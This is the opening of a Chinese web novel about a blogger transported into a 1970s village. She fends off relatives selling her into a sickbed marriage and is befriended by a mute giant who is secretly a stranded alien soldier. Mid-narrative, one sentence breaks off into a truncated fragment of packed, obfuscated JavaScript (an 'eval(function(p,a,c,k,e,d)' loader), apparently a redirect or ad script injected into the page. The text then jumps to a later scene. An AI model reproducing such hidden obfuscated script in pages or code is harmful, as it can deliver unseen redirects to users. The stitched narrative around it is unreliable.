《和老公一起捡垃圾[七零]》 1. 穿越 苏青棠躺在破败邦硬的床上,两行眼泪像宽面条一样流下来。 她穿越了,还穿越到自己吐槽过的狗血年代剧里。 在她穿越前,刚做完这部剧的最后一条吐槽视频。 她一共做了二十条视频,受到工伤无数。每条时长半小时的内容不是视频上限,是她的忍受上限。 大概是她吐槽用词过于恶毒,眼前一黑就穿越到了自己吐槽的年代剧里。 成也萧何败也萧何,她吐槽这部剧之前是个二十万粉丝的小博主,因为吐槽狗血剧爆火,半个月涨了一百万粉丝。 嗯,怎么不算幸运呢? 苏青棠穿越第一件事就是检查自己的空间,意念扫过空间里一眼望不到头的物资,心里顿时踏实了。 “就算穿到这鸟不拉屎的穷乡僻壤,姐也是带着移动堡垒来的,饿不着。” 只要她的物资还在,在哪都能躺平,她可是囤了将近十个某姆超市的物资。 苏青棠是个自媒体博主,同时经营两个账号,一个是影视解说和吐槽,另一个是精致自律博主。 她愿意做精致自律博主最大的动力就是,甲方爸爸给的实在是太多了,出镜的产品全是广告,在大量的恰饭广告里掺杂了少量vlog。 而且她作为精致自律女生,自带的囤囤鼠属性让她能用最低价格渠道买到生活必备品,空间的物资就是这么一分一毛省下来的。 作为全职博主,她大门不出二门不迈,按季度出门采购一次物资。其实有空间的存在,她可以几年不出门,但是她怕物业和邻居以为她死在家里了。 现在好了,邻居们的担心成真了。要是能以一己之力拉低小区房价,倒也算死得其所,给社会做了最后一点贡献。 回到正题,苏青棠穿越的时间好巧不巧,原身刚死了爹又死了娘,可怜的小姑娘一时间没想开,伤心过度死了。 小姑娘的爹在煤矿工作,娘身怀六甲。矿塌了,娘大着肚子去矿场找爹,结果路上遇到山洪,爹被埋在矿洞,娘被山洪冲走,一尸两命,好好的三口之家瞬间分崩离析。 可谓是麻绳专挑细处断,命运戏弄可怜人。 苏青棠正准备从床上爬起来搞点东西吃吃,就听到门外传来动静,她连忙躺下装睡。 她虽然接收了小姑娘的记忆,但记忆和现实有差别,她暂时不敢轻举妄动,先静观其变。 门口传来一位妇女的声音,语气满是担忧:“这丫头不会死了吧,睡了两天两夜还不醒?” 男人压低声音呵斥:“爹娘一夜之间都没了,卫国兄弟是为了救人,海棠妹子也命苦。青丫头能挺过来就是万幸,以后咱多照应着点,就当还老叔老婶的恩情了。” 听到这话,苏青棠悬着的心稍稍放下,听起来这两人不像是坏人。 苏青棠佯装悠悠转醒,她抱着脑袋,蜷缩在床上,一脸茫然惊恐:“我的头好痛,你们是谁?” 演技满分,一下就唬住了刚进屋的妇女。 妇女试探着开口:“青棠,你不认得我了?” 苏青棠装得更像了,她眉头紧皱:“我想不起来,我头好痛啊,我是谁?” 中年男人神色不忍:“青棠,我是你隔壁家王叔,你爹前天在煤矿出事,为了救别人,自己没跑出来。你娘去找你爹的路上又遇到泥石流…你昏迷了两天,大队把他们的棺材停放在祠堂。以后生活上有啥困难就找我和你婶子,我们家就跟你家隔了一道院墙。” “谢谢叔婶,我想去看我爹娘。”苏青棠眼圈发红,半真半假地哽咽。一方面是替原主难过,另一方面也是想了解家里的情况。 小姑娘,既然老天让我来到这个世界,咱们又同名同姓,我定会替你好好活下去。 苏青棠发完誓,刹那间,她只觉心里豁然开朗,头重脚轻的症状也减轻了许多。 她向来不信鬼神,可这一刻,她无比希望世间有灵魂,愿原身下辈子能和父母团聚。 王婶见苏青棠陷入沉思,忍不住问道:“你是不是想起啥了?” 苏青棠可怜巴巴地摇头:“婶婶,我什么都想不起来,我想见我爹娘最后一面。” 王家夫妻俩受大队长嘱托照看苏青棠,生怕苏家最后的独苗再有闪失。 在王婶小心翼翼的搀扶下,苏青棠像个脆弱的瓷娃娃穿鞋下床。 “身上还有力气吗?你都昏迷两天了,肚子里怕是一粒米都没有。” 苏青棠咬咬牙:“我能行的。”刚一迈步,她才真切感受到这具身体的虚弱。 每走一步都气喘吁吁,只能慢吞吞挪动,步子稍快些就差点摔倒。 苏青棠暗自叹气,这身体太弱了,得好好补补。 春日微冷的空气扑面而来,也让她看清了房子的全貌。 房子是黄泥墙,稻草顶。主屋就一间,院里搭了个小厨房,黑黢黢的。 院墙是泥巴糊的,大概到成年人胸口,挡不住贼,小孩垫块砖就翻得进来。 大门是两块破木板,晃悠悠的,稍使劲就得散架。 真是家徒四壁,贼来了都得叹气,临走说不定还得施舍俩铜板。 苏青棠本想锁门,王婶热心提醒:“别费那劲了,你家啥都没有,贼来了都得摇头走。” 话一出口,王婶就被丈夫拽了一把:“说话注意点。” 苏青棠倒不介意婶子心直口快,目前来看这两人对自己还算友好。 而且锁不锁门确实没意义,苏青棠掏遍全身根本没找到钥匙。要是有人霸占了这房子,她连证明是自己家的凭证都拿不出来。 往祠堂去的路上,乡亲邻居投向她的目光有同情,也有担忧。 有人快步上前拦着王婶,压低声音:“你带青丫头去哪?三里沟大队那家子来了,凶神恶煞的堵在祠堂门口呢!” 三里沟大队?苏青棠心里警铃大作,电视剧里好像没出现这名字。 王婶面露为难:“青棠想见爹娘,我带她去看看。” 李大娘连忙摆手:“可别让她去,三里沟来的人怕是要把她带走。” 王婶瞧了瞧苏青棠的脸色:“她醒来啥都不记得了,不让她见爹娘最后一面不好吧。” “啥意思?都忘了是咋回事?” 王婶压低声音解释:“我听说有的人经历大起大落就会忘事,青棠估计就是这种情况。” 李大娘一把拉住苏青棠的手,生怕她跳火坑:“你舅和你外婆来了,你娘当年嫁过来就跟你外婆家断了关系,十几年没来往。现在你爹娘都没了,你外婆带着你舅舅上门,说要接你回去。我看是黄鼠狼给鸡拜年,估计是想把你弄去嫁人。” “你自己心里咋想的?你要是不愿意,大娘拼了老命也帮你拦着。” 苏青棠满心疑惑,不明白这位大娘为何会无缘无故对自己这么好,电视剧里没这段剧情。 婶子看出苏青棠的犹豫,一拍脑门:“瞧我这记性,都忘了你啥都不记得了。你爷奶可是咱们大队的抗战英雄,当年鬼子扫荡,你奶奶宁死不屈,要不是你爷爷把鬼子引开,大队多少人得遭殃啊!他被鬼子抓走后再没回来,你爹是吃着大队百家饭长大的,你是老苏家独苗苗,甭怕他们。” 英雄遗孤,这身份在重情重义的乡下分量不轻。 苏青棠没有丝毫犹豫:“我不走!” 傻子才相信断绝关系十几年、爹妈尸骨未寒就上门的亲人是真心,留下来起码苏家的房子还是自己的。 李大娘拍拍她的肩膀:“有你的准话,我们肯定帮你拦着!” 可到了地方,才发现事情远比想象中棘手。 苏青棠远远瞧见一群人围得里三层外三层,祠堂门口堵得水泄不通。 祠堂门口有棵大槐树,树下一群孩子正围着一个披头散发的傻大个嬉笑玩闹,瞧这架势应该不是流浪汉。 王婶嘴快,忍不住嘟囔:“那是傻子,大队长在路上捡回来的,也不知道图啥,平白无故家里多张吃饭的嘴。” 从婶子和大娘的交谈中,苏青棠得知,大队长儿子当兵牺牲了,如今老无所依。要不是收养了傻大个,说不定自己就被大队长收养了。 苏青棠暗自庆幸,没被收养也好,毕竟同在一个大队,她身上有空间的存在,那么多物资不可能不用,万一不小心暴露就麻烦了。 还没走到祠堂门口,就听见一个尖利刻薄女声在撒泼。 “天打雷劈的,你们这群挨千刀的外姓人,我接自己的亲亲外孙女回家享福,碍着你们哪块坟头长草了?狗拿耗子多管闲事,小心断子绝孙!” 苏青棠脚步一顿,这泼妇骂街的功力好强大。 人群中只见一个穿着深蓝布褂、头发梳得油光水滑的老太太正唾沫星子横飞,以一怼十。 老太太身边站着一个三角眼、颧骨高耸、一脸阴沉的中年男人,不出意外是她舅舅。 邻居王婶战斗力爆表,袖子一撸就怼上去:“赵爱男,你嘴巴放干净点!当年海棠妹子嫁过来,你们家连个破碗都没陪送。现在你闺女尸骨未寒,你们就急吼吼跑来抢人。谁不知道你们那点腌臜心思,不就是想把青丫头弄回去,好换你孙子的彩礼钱嘛,我呸!” “放你娘的狗臭屁!”赵爱男跳着脚骂,手指头差点戳到王婶脸上,“李佑娣是我肚子里爬出来的,她的闺女就是我外孙女,轮得到你个外人指手画脚?我看你就是图苏卫国家那两间破房。” 李德志阴沉沉地开口,声音带着威胁:“我们家的事外人少掺和。青棠没爹没妈,我当舅舅的就是她的监护人,她一个黄花闺女留在大队,没个长辈看着,名声坏了谁负责!” 苏青棠听到这里,心里冷笑。算盘打得挺好,嘴上说着监护责任,真为她名声着想,会一上来就把黄花闺女挂在嘴上当理由? 她挣开李大娘扶着她的手,深吸一口气,挺直了瘦弱的小身板从人群里走了出来:“找我什么事?” 刚刚还面目狰狞的赵爱男瞬间变脸,速度堪比川剧变脸大师。她堆起满脸的褶子,挤出慈祥的笑容,几步上前就想拉苏青棠的手。 “哎哟宝贝疙瘩,你可算出来了。让外婆好好看看。可怜见的,瘦成这样了。我来接你回家,以后跟外婆住,保管你吃香喝辣,再也不在这穷窝窝里受苦了。” 苏青棠不动声色地避开她油腻腻的手,面无表情:“这里就是我家,我哪儿也不去。” 赵爱男笑容一僵,随即又苦口婆心劝说:“傻孩子,说什么胡话!你爸妈都没了,这里哪能叫家。跟我走,外婆家才是你的家!”说着还推了李德志一把。 李德志板着脸,拿出长辈架子:“听话!你外婆年纪大了想你想得紧。跟我们回去,家里热热闹闹的,总比你一个人孤零零强。” 人群中不知道谁嗤笑一声,大声喊道:“赵老婆子,少在这装蒜。你们家那点破事谁不清楚?是想让青丫头回去伺候你吧?还吃香的喝辣的,喝刷锅水还差不多!” 围观大队民哄笑起来,议论纷纷。 赵爱男被戳穿心思,老脸挂不住,竟也不否认,反而叉腰理直气壮地嚷嚷:“伺候长辈怎么了,那是该尽的孝道!我是她亲外婆,我能害她不成?你们这些人就是见不得我们一家骨肉团聚,眼红我们给孙女找了门顶顶好的亲事!” “亲事?”苏青棠捕捉到关键词,心猛地一沉,果然是要走剧情了。 那人又回怼道:“你们娘俩糊弄鬼呢,谁不知道陈家坝大队的病秧子找媳妇,李德志自己没有闺女,就想把你外甥女卖过去呗。” 李德志被戳穿,脸上挂不住,狠狠瞪了那人一眼,转头对苏青棠挤出笑容,声音带着诱哄: “别听他们瞎说,陈家是正儿八经吃商品粮的,那可是铁饭碗!人家住着青砖大瓦房,陈永强那孩子就是体弱,养养就好了。你嫁过去是掉进福窝里,比在这穷山沟里强。彩礼人家都给足了,整整一头大黄牛!已经牵到咱家了,就等着接你回去相看,早点把喜事办了,你妈在下面也安心。” “一头牛?!”人群瞬间炸开了锅。 这年头,一头壮年大黄牛对大多数家庭而言可以算得上是命根子。但也侧面印证,陈家娶媳妇付出的代价有多大,目的有多迫切。 王婶气得脸都白了,指着李德志的鼻子骂:“李德志你丧良心啊!为了头牛,把你亲外甥女往火坑里推。十里八乡谁不知道陈永强从小是个药罐子,大夫都说活不过二十。让青丫头嫁过去冲喜,你这是让她去守活寡还是当寡妇?!你们老李家缺德冒烟,就不怕海棠妹子半夜来找你们?!” 李大娘也急得指着人骂:“青丫头才十七岁,你们就让她去伺候个半死不活的,陈家再好能是真心娶媳妇?这是拿青丫头的命去填他们家的坑啊!” 苏青棠只觉得滔天怒火直冲头顶。 电视剧里没有这段剧情,开场就是结婚场景。 陈永强是真的病殃子,他家三代单传,家人按神婆的吩咐用一头牛给他换了个媳妇冲喜,正是孤女苏青棠。 结婚后陈永强渐渐康复,女主给他生了一儿一女,尽心伺候公婆,是出了名的贤惠媳妇。他痊愈后开始做生意,靠着倒买倒卖挣到创业资金,和同乡一起去沿海地区发展。 这时候的陈永强才二十岁,爱丁堡编剧笔下的男主不开后宫怎么彰显魅力? 陈永强成为大老板后忘了糟糠妻,带着年轻的学生女友出入高级会所,两千块钱的金链子说买就买。老家的女主任劳任怨伺候他父母,他寄回去的钱都由他亲娘掌管,女主没花过他一分钱。 即便如此,陈永强过年回家还是觉得妻子不顺眼,嫌她不会打扮没有共同话题,他嚷着要离婚,被父母以孩子的名义劝下来。但陈永强越来越得寸进尺,妻子猜到他出轨,为了孩子选择隐忍,全身心照料孩子。 如果只是这样苏青棠记忆不可能这么深。 之后的剧情简直就是狗血乱炖:女学生挺着肚子找上门逼女主给自己让位,被男主的儿子推倒在地流产。男主把责任怪在女主身上,将她推下楼梯导致怀孕的女主流产。他不仅不送女主去医院,还说出一报还一报的恶言嘲讽,从那以后更是家庭冷暴力逼迫女主离婚。 不论男主怎么刺激,女主就是不答应离婚,死活要给孩子一个完整的家庭,男主父母也不同意。 男主在外面彩旗飘飘,红颜知己排到二三四五号。 女主住在乡下独自抚养两个孩子长大成人。 最后男主的儿女考上名牌大学给他长了面子。男主良心发现接女主进城享福,谁知女主半路出车祸成了植物人,男主含泪离婚并表示会赡养她后半生,于是这个和苏青棠同名的女主被送去疗养院,成为男主的前妻。 这还没完,女主变成植物人后男主生意破产,身边的红颜知己弃他而去。他失去一切又想起了女主的好。女主被感动醒过来,大结局全家一起包饺子。 苏青棠当时看完大为震撼,整整发了二十条视频吐槽这部剧。她之所以印象深刻就是因为,跟她同名同姓的女主全程都在挨骂和哭,好不容易反抗过几次,结果为了孩子被婆婆劝说的硬忍了。 这部剧直接治好了她的低血压,让她血压蹭蹭涨。 剧情里只提到女主是孤儿,娘家人从没出现过。 现在她孤家寡人,从法律上讲外婆是她的监护人,舅舅肯定不会死心,想尽办法都要把她带回去嫁了。 毕竟可是一头牛啊。 这时候大队谁家有一头牛就和五十年后村里谁家有法拉利一样让人震撼。 苏青棠心脏砰砰直跳。这具身体才17岁,根本没到法定结婚年龄。虽说在偏僻乡下早婚早孕现象普遍,但她绝不能就这么任人摆布。 尽管乡亲们念着往日情分帮她,可她心里明白,还得靠自己想办法自救。 苏青棠咬着牙,再次表明态度:“我说了,我不嫁人!” 李德志脸一沉,眼神恶狠狠:“父母之命,媒妁之言。你娘没了,我和你外婆就是你在这世上唯一的亲人,我们还能害你不成?” 他往前逼了一步,继续恐吓:“我告诉你苏青棠,这事由不得你,不听话有你哭的时候!” 苏青棠冷笑,见过不要脸的,没见过这么厚颜无耻的。 她心里顿时有了主意,谁还不会道德绑架啊! 苏青棠用力掐大腿,眼眶瞬间红了,她环视一周在场的乡亲们,让所有人都能看见她此时此刻的脆弱,声音带着泣血的控诉。 “我妈是老李家的闺女,她活着的时候你们不要她。现在她死了,你们又把她唯一的女儿当什么?” “我今天把话撂这儿,我就是一头撞死在柱子上,也绝不嫁去陈家冲喜!你们休想把我带走,有本事你们现在就抬着我的尸首去换那头牛。” 这决绝到近乎惨烈的宣言,震慑住了所有人。 祠堂内外一片死寂。 赵爱男和李德志被她的气势和话语里的狠绝吓住了,一时竟不敢上前。 “反了你了!”赵爱男缓过神来,色厉内荏地大叫,竟然想扑上来动手打她。 “都给我住手!”大队长的怒吼声在门口响起,他在几个健壮后生的簇拥下,脸色铁青地快步走来。 他的目光如同实质,狠狠剐过赵爱男和李德志:“这是苏卫国和李佑娣的灵堂!死者为大,你们在这里闹事撒泼、欺负烈士遗孤,还有没有良心!给我滚出去,再敢闹就绑了送公社办你们破坏安定团结!” 大队长的威望极高,尤其提到烈士遗孤,在场乡亲们更是群情激愤。 几个后生立刻上前,毫不客气地将骂骂咧咧的赵爱男和脸色难看的李德志推搡了出去。 母子俩恶狠狠瞪了一眼苏青棠,明摆着这事没完,他们已经收了人家的彩礼,对她势在必得。 祠堂终于恢复了肃穆。 大队长看向苏青棠的眼中满是慈爱和心疼:“好孩子,别怕。有爷爷在,谁也带不走你。你就在这儿,好好陪陪你爸妈说说话。” 他转头对守在祠堂门口槐树下高大的身影喊了一声:“大傻,你在这儿守着门,别让不相干的人进来!” 苏青棠顺着大队长的目光看去。 听到大队长的话,大傻没什么表情地点点头,身上和怀里的小孩子都被他们父母带了回去。 他默默走到祠堂门口,像一尊门神般站定。他的目光扫过苏青棠,沉静无波,又移开了。 苏青棠在灵堂前跪下,属于原主的悲伤情绪,随着袅袅的香火一点点消散在空气中。 苏青棠长叹了一口气,要是自己没魂穿,老苏家的后代怕是都死绝了。 王婶提到大傻只是脑子不好使不会说话,但他耳朵没问题能听懂别人说话。他之前还救下了去河里游泳溺水差点被淹死的小孩,还抓到过偷溜进大队长家偷牛的贼。 自那以后大队的人发现大傻似乎不是特别傻,他知道什么有危险不能碰,懂一点生活常识,于是大队农忙的时候大人们就把孩子交给大傻带,也没出过意外,久而久之大傻就成了大队的孩子王。 真是个奇怪的傻子。 苏青棠在灵堂前跪了一会儿,揉着发麻的膝盖起身,剧烈的眩晕和眼前发黑猝不及防袭来,胃里空空如也的绞痛让她差点栽倒。 她这是低血糖犯了,苏青棠咬牙强忍,她身后有人不能随便从空间掏出东西。 她眼冒金星,脚步虚浮地走到门口。 突然,眼前伸来一只大手,掌心放着两颗廉价糖纸包装的水果糖。这只手看着粗糙,掌纹很深,指节棱棱分明,居然还挺好看。 是守在门口的大傻。 他依旧没什么表情,只是静静地看着她。 苏青棠愣了一下,低声道谢接过。 甜腻的糖在口中化开,总算压下了要命的虚脱感。水果糖口感很一般,现在却是苏青棠的救命药。 她不知道大傻能不能听懂自己说话,但还是诚恳道谢, “谢谢,我欠你一颗糖,等我有钱了还给你。” 大傻听懂了,他对苏青棠摇了摇头。 苏青棠走到外面观察大队的环境。房屋低矮破旧,四处可见的旱厕,是典型的乡村风貌。 大队长赶走了赵爱男和李德志,外面顿时安静了。 见到苏青棠出来,王婶和李大娘松了口气。 李大娘心有余悸道:“你爹娘下葬前,你舅舅和外婆不会再来了,他们敢在灵堂上闹,下葬可不是闹着玩的,一不小心就容易招惹上…” 苏青棠打了个冷颤,大白天不要讲鬼故事啊! 王婶忧心仲仲:“青丫头,我看他们不会死心,要不你住我们家吧。” 苏青棠感激王婶的热心肠,但她不想麻烦别人,而且还是自己的家事,就更不好意思麻烦人了。 “没事的婶婶,我不怕他们。” 王婶压低声音暗示道:“你夜里千万不要出门,睡觉把门锁好。隔壁大队有几个游手好闲的玩意,最喜欢干些偷鸡摸狗的活儿。你舅舅今天弄这一出,他们肯定听到动静了。” 李德志不是东西,苏青棠一个无父无母的孤儿正是好下手的对象,她又是个年轻小姑娘,万一那些人起了歹心,一个姑娘家哪能应付得了。 苏青棠牢牢记在心里:“谢谢婶婶、大娘,我想把家里收拾一下,不会乱跑的。” 王婶的叮嘱肯定不是空穴来风。 王婶摆摆手:“你要是不会做饭就来我家吃,不过是添双筷子的事。” 苏青棠不准备麻烦王婶,做饭她是会的。她小时候寒暑假都是在农村跟着外公外婆生活,也有过和小伙伴们去小溪摸鱼抓螃蟹的经历,她会烧土灶割猪草,除了不会种地。 而且她做精致自律博主,做饭是内容的一部分,各种名吃小吃她都会做。 苏青棠回到家,家里还真是穷。 厨房黑漆漆一片,苏青棠从门口往里面看了一眼,不敢伸脚进去,她怕有老鼠。 厨房内部高度大约一米七,别问苏青棠为什么知道的这么清楚,因为就比苏青棠高一点点,踮脚就能够着屋顶。 苏青棠只在门口粗略看了一眼。 里面有一口土灶,开裂的黄泥墙上钉着发黑的木案板,黄泥抹的灶头案板台摆着几个粗碗和盐罐油瓶,墙角整齐堆着干裂的柴枝。 厨房收拾的很干净,就是没有灯,站在门口让人害怕。 门口挂着蓑衣和斗笠,门后有个火坑,从梁上垂下来一条铁链,底部钩子上挂着黑色的圆形铁罐。 苏青棠知道这个铁罐是用来装水的,火坑是冬天用来烤火和烧热水。 肚子又叫了,苏青棠捂着胃回到屋里,手上出现一块红枣糕和一盒纯牛奶。 说到空间的来历,苏青棠小学春游去观赏陨石坑,回家发了高烧,醒来后就拥有了空间。 她从小和保姆生活,惊慌失措过,不敢告诉任何人,只能藏着这个秘密。 她父母没离婚但各自在外有新家庭。苏青棠曾经为了引起父母关注把家里所有家具放进空间,然而他们知道后只是给保姆打钱重新购买家具,又让保安每天夜里巡逻,他们以为家里只是遭了贼,没有人回来看望她。 随着年纪渐长,苏青棠不再期待父母的爱,她隐瞒着空间的秘密。空间是静止的,放进去的食物再拿出来依旧是放进去的模样,里面不能放活物。 空间面积有多大她并不知道,这些年一直往里面放东西从来没填满。 初中的时候她看过不少小说,以为自己是天选之子。当时轰轰烈烈的世界末日预言让不少人囤蜡烛,苏青棠跟风在空间囤了不少物资。 空间的出现没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏青棠去隔壁敲了敲门,问王婶去不去洗衣服。 王婶应了一声,端着盆出来:“家里换了床单被罩,正好拿去洗了。” 苏青棠一边洗衣服,一边听着婶子们唠嗑。 譬如傻大个除了不会说话,行为举止和正常人没差别,而且力大无穷。 上回大队长家遭贼,傻大个一脚踹过去让那个贼趴地上起不来,赶来的民兵巡逻队还以为贼是装的,后来警察说小偷被踢的内脏破裂。 虽然是防御过当,但由于傻大个是傻子,没法追究他的法律责任,大队长家连钱都没赔。 苏青棠完全想不到那个看起来憨憨的傻大个会有那么大的力气,一脚把人踹成内脏破裂,这也太疼了。 她感觉自己的腰子隐隐作痛。 不过她有点羡慕大队长,捡回来大傻是明智之举,起码不是一无是处,能看家护院。 感觉大傻像自闭症患者,可惜她不是医生,她自己还是个社恐呢。自己欠他两颗糖,待会儿从小卖部买两颗,再穷也不能欺负残障人。 苏青棠出门前找到家里所有存款放到空间,一共六百三十块钱。六百块钱是父亲出事后煤矿给赔的,剩下三十块钱才是苏家的全部家产。 六百块钱拿着烫手,这是苏父用命换来的,不到迫不得已不会动它。 她不打算坐吃山空,得找机会把房子修整一下。不求大富大贵,好歹房子遮风避雨,现在的房子睡觉都没安全感。 苏青棠脑子里胡思乱想,用木棍拍打石板上的脏衣服。 洗完衣服,她起身腰酸背痛,要是能用洗衣机就好了,不用受这些罪。 可惜跟隔壁住得太近,洗衣机动静又太大。 这好歹还是春天,溪水冰冷并不刺骨,冬天在河边洗衣服才折磨人。 得想办法在家里打个压水井,她挑不动水,而且地下水没那么冰。 苏青棠现在是一团乱麻,她有点茫然。 她一直孑然一身,没想到在这个世界还是孤家寡人。 苏青棠在院子里找到一根麻绳,麻绳固定在院墙上,这是家里的晾衣绳。 看着脏兮兮的麻绳,苏青棠陷入沉思。 要是晾上去,她衣服床单不是白洗了? 算了,总比没有的好。 院子有几根竹竿,她不会搭晾衣架,力气不够。 苏青棠认命的把衣服床单被罩晾到脏麻绳上扯平整。 ----------------- 父母下葬后,生活似乎风平浪静。 今天苏青棠准备去小卖部采购,她还欠傻大个两颗糖。 小卖铺东西很少,蜡烛、火柴、水果糖、牙刷、牙膏以及一些生活用品。有些大队连小卖铺都没有,她们大队离镇上近才弄了个小卖铺。 水果糖一分钱两颗,苏青棠买了一角钱的糖。吃着是劣质的味道,用在关键时候很救急。 她剥开水果糖送到嘴里,果然是难吃的劣质糖,傻大个递给她的那颗糖就莫名好吃。 苏青棠心里对傻大个有种同病相怜的感觉,大概彼此都是被抛弃的人,所以下意识同情对方。 她来到大队长家,傻大个正帮大队长挑水回来,他肩上扛着扁担,装了满满两大桶水,步伐平稳一滴都没溅出来。 果然力气很大,正愁没人帮她在院子里绑个晾衣杆,这不就有人手了。 她说明来意,谢泊明在大队长的示意下,二话不说就跟着她走。 苏青棠没想到就这么简单,还以为大队长要和傻大个交流一会儿。 走到门外,苏青棠递给傻大个四颗糖。 “还你,剩下两颗糖是谢礼。” 说完她又觉得傻大个可能听不懂,干脆把糖直接塞到傻大个的兜里,仰起头冲傻大个笑了笑。 谢泊明垂着眼眸,目光落在面前的小姑娘身上。 他目光清明,气场过于冷然,丝毫看不出来是个傻子。 他确实不是傻子,只是来自另外一个世界罢了。 他与虫族女王同归于尽落入黑洞来到这个星球,睁眼就躺在草地上被老人带回了家。 他听不懂语言,但他知道这是一个落后的文明星球;他不懂如何使用落后工具,于是在外人眼里他成了傻子。 这样正好,他懂得非我族类其心必异的道理,他靠着装傻博得了这位老人的同情。 老人是部落首领,给他上了户口,他有了身份证明后逐渐表现出他的能力。比如力大无穷、比如他不会说话,但能理解别人的意思。后来他学会了本土语言,因为懒得解释傻子会说话便一直装哑巴。 在星际即便是穷人也会有最低级的通讯器,可以用来联络和登录星网,这里并没有。 只有一种名为电话的古董,打电话得先交钱。 他观察后大概明白当前的科技水平。这个世界对他而言无异于原始社会,想回到星际是不可能了。 相处了一段时间,他得知老人的儿子在战争中牺牲,不由得对老人肃然起敬,也愿意作为养子赡养老人。 这个女孩他见过几次,性格内向不怎么与人交流,一夜之间遭遇变故。 他同情对方,但没能力帮她,他只是个连生活常识都不懂的傻子。 只是女孩似乎和之前变得不一样了,身上的气质和曾经完全不同,她开始昂首挺胸,不再羞怯低头。 谢泊明没有多想,一个人遭逢重大变故是会改变性格的。 他来到小姑娘的家里,这个家可以用简陋形容。 他一掌就能拍开大门,轻轻松松就能翻越院墙,完全没有保密性和安全性。 一个毫无自保能力的未成年女孩独居,谢泊明都不由得替她捏一把汗。 大队并不安全,时常会有小偷光顾。大多是周边大队的地痞无赖,只要东西没丢,当地人为了和气不会报警,他不理解人情世故,还好他是傻子,不需要经历那些,他只会暗地里揍得小偷都不敢来盗窃。 苏青棠揉了揉凉飕飕的胳膊,春天还有点冷。 新晾衣杆很快搭好,竹竿架得又平又稳。 苏青棠心里犯嘀咕,这动手能力真像傻子? 尽管知道傻大个听不懂,苏青棠还是真诚向他道谢。 “谢谢!辛苦你了。” 她去屋里拿出一颗卤蛋倒在干净碗里,顺手把包装袋收进空间,鸡蛋可是好东西。 “请你吃这个。” 苏青棠不怕他说出去,没有人会相信傻子的话,更何况傻大个不会说话。 谢泊明盯着碗里黑漆漆的东西下意识抗拒,大队长家日子过得再拮据也没吃过这么脏的东西。 苏青棠以为他不知道是什么,特地做了吃的动作。 谢泊明心情复杂。 女孩热情邀请他吃东西,他看出来她没有坏心,很想用傻子的身份糊弄过去,最终不愿拂了对方的好意,小姑娘已经很可怜了。 他沉默地接过,视死如归地咬了一口。 嗯?!味道意外地醇厚咸香,他又大口尝了一口,真的很好吃,这个黑漆漆的东西是好吃的食物! 他三两口吃完,意犹未尽。 他猜测这是小姑娘家里最好的东西。 他把碗还给苏青棠,对苏青棠竖起大拇指,表示食物味道很好。 苏青棠也对他竖起大拇指,用哄小朋友的语气夸赞他: “你也很棒,吃东西没有浪费。” 谢泊明点点头,没懂她为什么夸他。 他指了指苏青棠家大门,示意让她晚上锁好。 苏青棠早对破门不抱指望了,摆摆手道:“我暂时想不到办法了,先这么将就着吧,晚上我都用木头顶死了。” 谢泊明想了想,从院子拿起斧子,在院里找了两块木头就开始砍。 苏青棠还以为他要帮自己砍柴,连忙上前拉他。 “不用不用,我自己能砍柴。” 她怎么好意思麻烦傻大个砍柴,她都不准备烧柴。 谢泊明指了指门上摇摇欲坠的门闩,苏青棠懂了。 她再次真心实意道谢:“谢谢你。”有了新门闩,要是有歹徒想破门而入,自己也能听到动静提前防备。 苏青棠不由得相信婶子们说的话,傻大个不傻,吃了自己一颗卤蛋就帮她把大门重新装上了门闩。 傻大个的手工很灵活,很快就弄出来新门闩。 他装上门闩后退出大门,让苏青棠锁上门试试。 锁上后她才有确切的感受,门闩比之前的结实多了。并且之前门缝很大,门板没问题就是门闩的问题。 现在门缝堵上了,大门很严实。 多亏了傻大个。 苏青棠又给他两颗水果糖,反正这个糖她吃不惯,就当投资潜在劳动力了。 她亲自送傻大个进了大队长家大门才转身离开。 ----------------- 夜深人静。 苏青棠蜷在硬邦邦的床上,睡得并不安稳。 院墙外刻意压低的说话声和悉悉索索的攀爬声,瞬间让她惊醒。 有人来了! 心脏瞬间提到嗓子眼,砰砰狂跳。 她悄无声息地下床,手指摸到枕头下的匕首,金属触感让她稍微镇定。 不行,匕首太短,容易被反制。原身的身体素质差,要是刀子被抢过去就危险了。 她从小学跆拳道,高中参加过全国大赛,后来她独居特地报班练过散打和私教课的防身术。 她心念一动,一根合金棒球棍出现在手中。 她握紧手上武器,屏息凝神,像只蓄势待发的猫,隐在门后阴影里。 2. 毛贼 黑暗中,两道压低的男声窃窃私语。 “快点,别磨蹭。李德志都说了,这家大人死绝就剩一个丫头片子,屋里肯定藏着矿厂给的抚恤金,赶紧找到走人。” “门闩挺结实…妈的,你蹲下,我先踩着你进去。” “扑通!”院子里传来重物落地的声音,伴随着几声强行压下去的闷哼。 蹑手蹑脚的脚步声靠近房门,门闩被拨动的声音响起。 “吱呀。” 门被推开一条缝,一个黑影探头探脑地挤了进来。 苏青棠眼神一厉,握紧棒球棍,全身肌肉绷紧,准备照着对方脑袋狠狠抡过去! 就在这千钧一发之际。 “砰!!!” 院子里传来重物坠地的声音,伴随着一声短促凄厉的惨叫,挤进来的黑影瞬间倒飞出去,像个破麻袋般被狠狠砸在围墙上。 黑影撞落到地上蜷缩着身体,发出痛苦呻吟,同伙躺在地上生死不明。 这一切发生的太快,苏青棠还没反应过来。 月光下,一道高大的身影逆着光,背对着天上的圆月,看不清他脸上的表情。只有周身散发的冷冽气息,让地上的毛贼感到刺骨的寒意。 苏青棠握着棒球棍,僵在原地,目瞪口呆地望着家里突然降临的门神。 傻大个?!他怎么会在这里? 惨白的月光洒在黄泥院墙上,四周一片死寂,只有地上毛贼痛苦哀嚎的呻吟断断续续钻入耳中。 苏青棠心脏狂跳。 他是听到动静赶来的吗?还是一直在附近? 地上的毛贼试图爬起来,谢泊明往前走了一步,毛贼立刻像被掐住脖子的鸡,呜咽着缩成一团,眼神里的恐惧几乎要溢出来,不敢再有半点动弹。 “大傻?”苏青棠声音颤抖,试探着喊他名字。一半是后怕,一半是莫名的紧张。 谢泊明抬起头。月光照亮他半边棱角分明的脸,依旧是没什么表情的样子,甚至眼底还带着点茫然,仿佛刚才徒手将毛贼甩出去的人不是他。 